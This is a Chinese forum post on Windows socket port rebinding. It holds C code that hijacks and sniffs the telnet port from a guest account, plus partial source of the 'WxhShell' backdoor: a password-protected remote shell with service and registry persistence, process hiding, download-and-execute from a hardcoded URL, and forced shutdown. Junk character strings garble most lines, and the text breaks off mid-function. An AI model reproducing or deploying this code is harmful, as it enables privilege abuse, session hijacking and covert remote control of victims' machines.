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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VFq\{@- %  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KDP& I J  
Y*lc ~X  
  saddr.sin_family = AF_INET; "IJ1b~j?  
)2d1@]6#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %2'4h(Oq^  
AGwdM-$iT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2XUIC^<@s  
P^q!Pye  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2Nm{.Y  
P9`CW  
  这意味着什么?意味着可以进行如下的攻击: ia.+<, $`S  
YGyw^$.w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -`spu)  
9"D t3>Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7r(c@4yPI  
6 AY~>p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 })mD{c/  
eln$,zK/b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [<^'}-SJ  
J7EWaXGbz  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O]="ggq&  
=NK'xPr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QDK }e:4q  
6PWw^Cd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P?8$VAkj  
eA(FWO  
  #include )`|`PB  
  #include 8c%N+E]  
  #include j{t r''yN  
  #include    A2PeI"y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;u';$0  
  int main() ':\bn:;  
  { $K\;sn; |:  
  WORD wVersionRequested; \Yv4 4*I`  
  DWORD ret; md9JvbB  
  WSADATA wsaData; Yu[MNX ;G  
  BOOL val; :$X dR:f}}  
  SOCKADDR_IN saddr; K`|V1L.m  
  SOCKADDR_IN scaddr; ND e FY  
  int err; nhm#_3!6A  
  SOCKET s; XTb .cqOC  
  SOCKET sc; >)>~S_u  
  int caddsize; ,&O&h2=  
  HANDLE mt; TEK#AR  
  DWORD tid;   Z]Z&PbP  
  wVersionRequested = MAKEWORD( 2, 2 ); V+|$H h8  
  err = WSAStartup( wVersionRequested, &wsaData ); "6%qi qt  
  if ( err != 0 ) { =zp{ ^mC  
  printf("error!WSAStartup failed!\n"); "x:-#2+h  
  return -1; h,fahbH -  
  } :Xx7':5  
  saddr.sin_family = AF_INET; -=u9>S)!c  
   2of+KI:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S!R (ae^}  
.lz= MUR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +).=}.k  
  saddr.sin_port = htons(23); >k}Kf1I  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }g2l ni  
  { G" (ck4  
  printf("error!socket failed!\n"); *li5/=UC5*  
  return -1; v,3 }YDu  
  } oO;< $wx2t  
  val = TRUE; ?IO3w{fmH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 QNcl    
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s2+_`Ogg  
  { K_X(j$2Xc  
  printf("error!setsockopt failed!\n"); jfa<32`0E  
  return -1; 85FzIX-F%  
  } ^(qR({cX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nu16L$ ]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P^BSl7cT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KWw?W1H  
jlD3SF~2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r)G)i;;~*  
  { gi? wf  
  ret=GetLastError(); |Y+[_D}  
  printf("error!bind failed!\n"); ;O .;i,#Z  
  return -1; =NRiro  
  } Tkh?F5l  
  listen(s,2); q6 4bP4K  
  while(1) bh5C  
  {  <j_  
  caddsize = sizeof(scaddr); gX5.u9%C\  
  //接受连接请求 # o\&G@e}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bU4\Yu   
  if(sc!=INVALID_SOCKET) 0}Q d  
  { fAT M?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _oU~S$hO  
  if(mt==NULL) t..@69  
  { WD 7T&i  
  printf("Thread Creat Failed!\n"); g3(?!f  
  break; ugW.nf*O  
  } <ou=f'  
  } f(-3d*g  
  CloseHandle(mt); d\ Xijy  
  } O;#0Yg  
  closesocket(s); "[ >ql1t{b  
  WSACleanup(); v)!^%D  
  return 0; H]0(GLvH  
  }   H)+wkR!~  
  DWORD WINAPI ClientThread(LPVOID lpParam) rAu@`H?  
  { \#'m([<e  
  SOCKET ss = (SOCKET)lpParam; \mwxV!!b$  
  SOCKET sc;  !h* F58  
  unsigned char buf[4096]; G^\.xk]  
  SOCKADDR_IN saddr; fd1z XK#Z2  
  long num; ;q2e[y  
  DWORD val; n{%[G2.A  
  DWORD ret; !wjD6 NK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8qq'q"g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4?7OP t6  
  saddr.sin_family = AF_INET; O~F8lQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1FRpcE  
  saddr.sin_port = htons(23);  Y}Nd2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?uE@C3 e  
  { ur/:aI  
  printf("error!socket failed!\n"); @IBU{{  
  return -1; L?hWH0^3  
  } @ |7e~U  
  val = 100; S#Pni}JD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !2=eau^p  
  { .iEzEmu  
  ret = GetLastError(); |w`Q$ c  
  return -1; 8.D9OpU  
  } t. kOR<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) myWa>Mvb  
  { (w, Gv-S  
  ret = GetLastError(); >Co5_sCe  
  return -1; ;e ^`r;]  
  } iD!]I$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2-u9%  
  {  f(*^zga,  
  printf("error!socket connect failed!\n"); 'uF"O"*  
  closesocket(sc); E`UEl$($  
  closesocket(ss); nOUF<DNQ  
  return -1; Y[alOJ  
  } ~@ hiLW  
  while(1) }tH6E  
  { GMoE,L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Nc[u?-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :+}Eo9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jg%jmI;Y  
  num = recv(ss,buf,4096,0); kT4Tb%7KM  
  if(num>0) Ceak8#|4  
  send(sc,buf,num,0); |jyoT%SQ  
  else if(num==0) sJ)Pj?"\?  
  break; p3{ 3[fDx  
  num = recv(sc,buf,4096,0); Q.L.B7'e7  
  if(num>0) z] teQaUZ  
  send(ss,buf,num,0); Z"'tJ3Y.~  
  else if(num==0) LO M-i>  
  break; xy1R_*.F^T  
  } y[sO0u\  
  closesocket(ss); 8Ir = @  
  closesocket(sc); ,hXhcfFl  
  return 0 ; i@#fyU)[G  
  } $"]*,=-X  
<Yy|.=6 D  
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========================================================== S -KHot ?  
>-Q=o,cl%3  
下边附上一个代码,,WXhSHELL A"~4|`W  
L)j<;{J/Q0  
========================================================== MFm2p?zPm  
!%%(o%bi~  
#include "stdafx.h" K-drN)o  
)Fh5*UC  
#include <stdio.h> \L{V|}"X  
#include <string.h> ;*XH[>I  
#include <windows.h> =-|,v*  
#include <winsock2.h> O4fl$egQU  
#include <winsvc.h> =F"vL  
#include <urlmon.h> z;ko )  
 a EmLf  
#pragma comment (lib, "Ws2_32.lib") ,fW%Qv  
#pragma comment (lib, "urlmon.lib") ORP-@-dap  
lr_c  
#define MAX_USER   100 // 最大客户端连接数 +LsACSB  
#define BUF_SOCK   200 // sock buffer JE.s?k  
#define KEY_BUFF   255 // 输入 buffer {pyTiz#JY  
&x<y4ORH|  
#define REBOOT     0   // 重启 &F#K=R| .j  
#define SHUTDOWN   1   // 关机 %T'<vw0  
6E@qZvQ  
#define DEF_PORT   5000 // 监听端口 r;c ILS|Xr  
79O'S du@  
#define REG_LEN     16   // 注册表键长度 E+e:UBeUV  
#define SVC_LEN     80   // NT服务名长度 Doc_rQYku  
e.jbFSnA  
// 从dll定义API ?."YP[;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mJL=H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2Bg0 M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L:E?tR}H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eT6T@C](  
FA3YiX(-e  
// wxhshell配置信息  q,v)X  
struct WSCFG { 9S]]KEGn4  
  int ws_port;         // 监听端口 ==)q{e5  
  char ws_passstr[REG_LEN]; // 口令 "8sB,$  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7S]<?>*  
  char ws_regname[REG_LEN]; // 注册表键名 1'"TO5  
  char ws_svcname[REG_LEN]; // 服务名 _[t:Vme}v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5isqBu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?,0 a#lG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %$ CV?K$C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cHjnuL0fsy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %{HeXe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DA wUG  
8*Ke;X~N  
}; |g,99YIv>  
&Y3 r'"  
// default Wxhshell configuration pa8R;A70Dl  
struct WSCFG wscfg={DEF_PORT, HS >B\Ip"  
    "xuhuanlingzhe", N>Q~WXvV#  
    1, *\PCMl  
    "Wxhshell", S@Q4fmH  
    "Wxhshell", #)PAvBJ;m  
            "WxhShell Service", >JckN4 v  
    "Wrsky Windows CmdShell Service", ]<Kkq !  
    "Please Input Your Password: ", " ';K$&,[  
  1, *~SanL\  
  "http://www.wrsky.com/wxhshell.exe", Q.Xs%{B  
  "Wxhshell.exe" LZH~VkK@m}  
    }; 'K*. ?M  
ykat0iqo  
// 消息定义模块 ;Qq<5I"y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PEDV9u[A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >PmnR>x-rj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S";c7s  
char *msg_ws_ext="\n\rExit."; 7X`]}z4g  
char *msg_ws_end="\n\rQuit."; &UfP8GE9  
char *msg_ws_boot="\n\rReboot..."; RBOg;EJ  
char *msg_ws_poff="\n\rShutdown..."; iV2v<ap.n  
char *msg_ws_down="\n\rSave to "; !\Vc#dslt  
(utk)  
char *msg_ws_err="\n\rErr!"; g?E8zf `  
char *msg_ws_ok="\n\rOK!"; Q"F" 13  
8]j*z n?,  
char ExeFile[MAX_PATH]; L-eO_tTh0  
int nUser = 0; {u)>W@Lr  
HANDLE handles[MAX_USER]; SS*3Qx:[  
int OsIsNt; Ci(c`1av  
( we)0AxF'  
SERVICE_STATUS       serviceStatus; u1;sH{YK>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  BDfJ  
Ym|%ka  
// 函数声明 qN\?cW'  
int Install(void); tg6iHFa  
int Uninstall(void); ]@{l<ExP  
int DownloadFile(char *sURL, SOCKET wsh); 9oQ$w?=#$  
int Boot(int flag); PT39VI =  
void HideProc(void); Lq2ZgKd!  
int GetOsVer(void); R1vuf*A5,  
int Wxhshell(SOCKET wsl); *%CDQx0}  
void TalkWithClient(void *cs); 9v@P|  
int CmdShell(SOCKET sock); i+ICgMcd  
int StartFromService(void); "DvhAEM  
int StartWxhshell(LPSTR lpCmdLine); ^?5HagA  
H7%q[O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +; / s0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8/T[dn  
hg2UZ% Y  
// 数据结构和表定义 10IX8 4  
SERVICE_TABLE_ENTRY DispatchTable[] = \=uD)9 V  
{ .H 9 r_  
{wscfg.ws_svcname, NTServiceMain}, o@sL/5,  
{NULL, NULL} #Q` TH<  
}; +vt?3i\^.  
{H3B1*Dk  
// 自我安装 i F \H  
int Install(void) `z$=J"%? y  
{ )~-r&Q5d  
  char svExeFile[MAX_PATH]; O-&^;]ieJ  
  HKEY key; z-N N( G+  
  strcpy(svExeFile,ExeFile); >!MRk[@ V-  
QD^q\9U[  
// 如果是win9x系统,修改注册表设为自启动 (;9j#x  
if(!OsIsNt) { `*",_RO;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >u+%H vzc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (f;.`W  
  RegCloseKey(key); p^k*[3$0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~JHEr48  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )F+wk"`+6  
  RegCloseKey(key); ^cCNQS}r  
  return 0; S$n?  
    } m:6*4_!  
  } X`28?  
} Yk0/f|>O  
else { 4*'ZabDD  
J,:Wv`N:9~  
// 如果是NT以上系统,安装为系统服务 apjoIO-<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hc*tQ2  
if (schSCManager!=0) 2Mu@P8O&  
{ $Y M(NC  
  SC_HANDLE schService = CreateService C#n.hgo>I  
  ( k)R~o b  
  schSCManager, SP"t2LTP  
  wscfg.ws_svcname, c 5 `74g  
  wscfg.ws_svcdisp, U".5x~UC  
  SERVICE_ALL_ACCESS, W`uq,r0Xsy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;FJFr*PM  
  SERVICE_AUTO_START, 35J VF*z  
  SERVICE_ERROR_NORMAL, A1n4R  
  svExeFile, _+,>NJ  
  NULL, {r%T_BfY  
  NULL, n0Qp:_2z  
  NULL, wZVLpF+7  
  NULL, _Kbj?j  
  NULL Ca -.&$f  
  ); >X xHp  
  if (schService!=0) @r=,: 'Mt  
  { o8Yq3N+  
  CloseServiceHandle(schService); WO6R04+WV  
  CloseServiceHandle(schSCManager); <99/7>#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + w'q5/`  
  strcat(svExeFile,wscfg.ws_svcname); 8jY<S+[o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { CEAmb[h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vNju|=Lo  
  RegCloseKey(key); 9_O6Sl  
  return 0; Gk xtGe  
    } wg<t*6&'x  
  } NQA2usb  
  CloseServiceHandle(schSCManager); =]S,p7*7  
} B(f_~]  
} %C_c%3d  
kbo9nY1k g  
return 1; ~C>clkZ  
} ;iW>i8  
PS8^=  
// 自我卸载 =RAojoN  
int Uninstall(void) \OXQ%J2v  
{ ]( FFvqA  
  HKEY key; @,9YF }  
Z/T( 4  
if(!OsIsNt) { KciN"g|X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |h&Z.  
  RegDeleteValue(key,wscfg.ws_regname); yb,X }"Et  
  RegCloseKey(key); vR&b2G7o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  !# zO%  
  RegDeleteValue(key,wscfg.ws_regname); `Tei  
  RegCloseKey(key); C80< L5\  
  return 0; b +Z/nfS  
  } Ahc9HA2  
} D8{ ,}@  
} U }AIOtUw  
else { 6Yc(|>b!  
'j-U=2,n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *s<cgPKJ @  
if (schSCManager!=0) G1\F7A  
{ DIfQ~O+u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GG"6O_  
  if (schService!=0) `:C2Cj  
  { Fy0sn|  
  if(DeleteService(schService)!=0) { L6#4A3yh  
  CloseServiceHandle(schService); 0wCQPvO  
  CloseServiceHandle(schSCManager); |3^U\r^zo  
  return 0; r-*j"1 e  
  } N.0g%0A.D  
  CloseServiceHandle(schService); [%O f  
  } _90<*{bt.  
  CloseServiceHandle(schSCManager); `<kB/T  
} O8cZl1C3  
} ANgt\8  
P)#h4|xZ  
return 1; n/x((d%"E  
} /='Q-`?9  
81C;D`!K  
// 从指定url下载文件 M6bM`wHH>  
int DownloadFile(char *sURL, SOCKET wsh) '1(6@5tyWk  
{ mHV{9J  
  HRESULT hr; "vg.{  
char seps[]= "/"; jgS3#  
char *token; ANJL8t-m  
char *file; tfu`_6  
char myURL[MAX_PATH]; }+Q4s]  
char myFILE[MAX_PATH]; b^&azUkMN  
bWSc&/ 9y  
strcpy(myURL,sURL); *l;S"}b*,_  
  token=strtok(myURL,seps); JU.!<  
  while(token!=NULL) $ 7W5smW/  
  { [$pb  
    file=token; z>\l%_w  
  token=strtok(NULL,seps); |>[qC O  
  } CyS %11L  
lHDZfwJ&C1  
GetCurrentDirectory(MAX_PATH,myFILE); K&zW+C b  
strcat(myFILE, "\\"); H=\Tse_.  
strcat(myFILE, file); i]J.WFu  
  send(wsh,myFILE,strlen(myFILE),0); _RbM'_y+E  
send(wsh,"...",3,0); >{9VXSc  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J@"UFL'^  
  if(hr==S_OK) ![nL/  
return 0; S;jD@j\t&  
else tv`b##  
return 1; l($ 8H AJ  
R\XS5HOE(  
} P3n#s2o6y  
) <{u oH  
// 系统电源模块 Dy>6L79G  
int Boot(int flag) Jm#p!G+  
{ ck%YEMs  
  HANDLE hToken; Vo+.s#wN`h  
  TOKEN_PRIVILEGES tkp; 9_nbMs   
'=%`;?j  
  if(OsIsNt) { vm{8x o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +2}cR66%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NL>Trv5  
    tkp.PrivilegeCount = 1; ^)I}#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G;iH.rCH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TET=>6  
if(flag==REBOOT) { lM}-'8tt?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iF":c}$.  
  return 0; /H"fycZ  
} )Tp"l"(G  
else { F'sX ^/;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]uMZvAjb  
  return 0; Yh!=mW!OY  
} Shn=Q  
  } vz>9jw:Y  
  else { a!/\:4-uc  
if(flag==REBOOT) { EI7n|X a1q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %8h=_(X\7  
  return 0;  <7SE|  
} I.G[|[. Do  
else { HA,8O [jon  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]jC{o,?s  
  return 0; t72u%M6  
} eY'n S  
} 4L ]4WVc  
`GW&*[.7  
return 1; |59)6/i  
} |JF,n~n  
*4NY"EwjN  
// win9x进程隐藏模块 gzn:]Y^  
void HideProc(void) n|6G\99l+M  
{ Du65>O  
8h }a:/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *~shvtq  
  if ( hKernel != NULL ) U#S-x5Gn  
  { 2 oV6#!{Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7<*0fy5nn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _z8"r&  
    FreeLibrary(hKernel); VFx[{Hy  
  } li v=q  
CHZ/@gc  
return; <5}I6R;  
} ygj%VG  
U~)5{  
// 获取操作系统版本 :9ia|lN  
int GetOsVer(void) HR"clD\{Di  
{ ]u!s-=3s  
  OSVERSIONINFO winfo; ZJU %&@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sS;)d  
  GetVersionEx(&winfo); k}qQG}hB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1.k=ji$D0  
  return 1; |9\i+)C  
  else k ,ldi  
  return 0; iu(obmh/o  
} >r7PK45.K  
?d%{-  
// 客户端句柄模块 =X^a  
int Wxhshell(SOCKET wsl) _u^3uzu  
{ m"/..&'GC  
  SOCKET wsh; gaz",kK<  
  struct sockaddr_in client; hnB`+!  
  DWORD myID; xvl{o  
#n{4f1TZ  
  while(nUser<MAX_USER) @s cn ?t  
{ k{#k:  
  int nSize=sizeof(client); )Z1&`rv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9aLd!P uTN  
  if(wsh==INVALID_SOCKET) return 1; gC(S(osF  
4'dN7E1*f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  %G\nl  
if(handles[nUser]==0) 8y<.yfgG  
  closesocket(wsh); 2t_g\Q  
else w(aj'i  
  nUser++; L(K 5f7\  
  } R&;x_4dr^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GiX3c^V"1  
MGMJeq vr  
  return 0; PN?;\k)"  
} COu5Tu^  
YW6a?f^!  
// 关闭 socket )1B? <4  
void CloseIt(SOCKET wsh) O50<h O]l  
{ _b&26!gl  
closesocket(wsh); 6'kQ(r>  
nUser--; 4gC(zJ  
ExitThread(0); B!,&{[D  
} Nv.  
(wq8[1Wzup  
// 客户端请求句柄 poW%Fzj  
void TalkWithClient(void *cs) d]E={}qo&  
{ ;YY<KuT  
YR0AI l:L  
  SOCKET wsh=(SOCKET)cs; jY%.t)>)  
  char pwd[SVC_LEN]; au+Jz_$)  
  char cmd[KEY_BUFF]; A :KZyd"Z  
char chr[1]; )Cj1VjAg  
int i,j; =TNFAt  
HM0&%  
  while (nUser < MAX_USER) { WwTl|wgvyI  
4V4S5V  
if(wscfg.ws_passstr) { @@K/0:],  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Vdx o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '_4apyq|  
  //ZeroMemory(pwd,KEY_BUFF); _,60pr3D'  
      i=0; /huh}&NNu  
  while(i<SVC_LEN) { -O?HfQ  
C F','gPnc  
  // 设置超时 BK4S$B  
  fd_set FdRead; d3q.i5']G  
  struct timeval TimeOut; 5o 5DG  
  FD_ZERO(&FdRead); =cS5f#0  
  FD_SET(wsh,&FdRead); JD0s0>q_  
  TimeOut.tv_sec=8;  %V ]v,  
  TimeOut.tv_usec=0; h M7 SGEV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9#P~cW?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y7:f^4  
frPQi{u$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z3c\}HLY  
  pwd=chr[0]; _[z)%`kay  
  if(chr[0]==0xd || chr[0]==0xa) { .rO~a.kG  
  pwd=0; R,78}7B  
  break; qOy(dG g  
  } N [3Y~HX!q  
  i++; us?q^>u  
    } DoFe:+_U3  
Z]Ud x  
  // 如果是非法用户,关闭 socket x3FB`3y~s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r2+ZxMo|  
} WvT H+  
+g7]ga  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?+7~ E8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kI!@J6  
~!mY0odH  
while(1) { v{|y,h&]a  
CSoVB[vS  
  ZeroMemory(cmd,KEY_BUFF); KzV|::S^  
rQ_cH  
      // 自动支持客户端 telnet标准   z(Uz<*h8  
  j=0; iOEBjj;C  
  while(j<KEY_BUFF) { :3R3 >o6m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O>h h  
  cmd[j]=chr[0]; OET/4( C  
  if(chr[0]==0xa || chr[0]==0xd) { ~D}fy  
  cmd[j]=0; C}<e3BXc  
  break; D=z="p\  
  } ]!sCWR  
  j++; $mKExW  
    } ]!^wB 3j  
"@ ^<~bw  
  // 下载文件 -QJ8\/1>  
  if(strstr(cmd,"http://")) { *q=\ e9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7J5jf231  
  if(DownloadFile(cmd,wsh)) =|Qxv`S1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n=JV*h0  
  else kG5+kwV=:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o:ow"cOEf  
  } tzd !r7  
  else { Q.eD:@%iE  
8(Ptse  ,  
    switch(cmd[0]) { >gL&a#<S  
  n_]B5U  
  // 帮助 qvo!nr7  
  case '?': { HxW/t7Z(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l lcq~*zz  
    break; Nb3O> &J  
  } '[8w8,v(  
  // 安装 @<$m`^H  
  case 'i': { v)O].Hd  
    if(Install()) W0mvwYON[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n(#yGzq  
    else YU6|/ <8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `u_MdB}<x;  
    break; &F#eYEuy  
    } &E0^Jz  
  // 卸载 +924_,zF  
  case 'r': { 4@\$k+v  
    if(Uninstall()) mDp8JNJNE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); { g[kn^|  
    else ndDF(qHr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "AXgT[ O  
    break; G#`  
    } fW=<bf  
  // 显示 wxhshell 所在路径 >)NS U  
  case 'p': { 'L7u`  
    char svExeFile[MAX_PATH]; @N<h`vDa  
    strcpy(svExeFile,"\n\r"); dQrz+_   
      strcat(svExeFile,ExeFile); ;AVIt!(L~V  
        send(wsh,svExeFile,strlen(svExeFile),0); LU8[$.P  
    break; tMP"9JE,  
    } Oh10X.)i  
  // 重启 o-&0_Zq_  
  case 'b': { YR/I<m`]}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QX}JQ<8  
    if(Boot(REBOOT)) (U$;0`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /%7&De6Xg  
    else { )sK53O$  
    closesocket(wsh); s{7bu|0  
    ExitThread(0); ]G8"\J4 &  
    } AZik:C"Q  
    break; ~@Bw(!  
    }  LDU4 D  
  // 关机 sqV~ Dw  
  case 'd': { hg<[@Q%$o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tmBt[  
    if(Boot(SHUTDOWN)) kd"nBb=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pQc-}o"  
    else { {"$ [MYi:  
    closesocket(wsh); CGK]i. N  
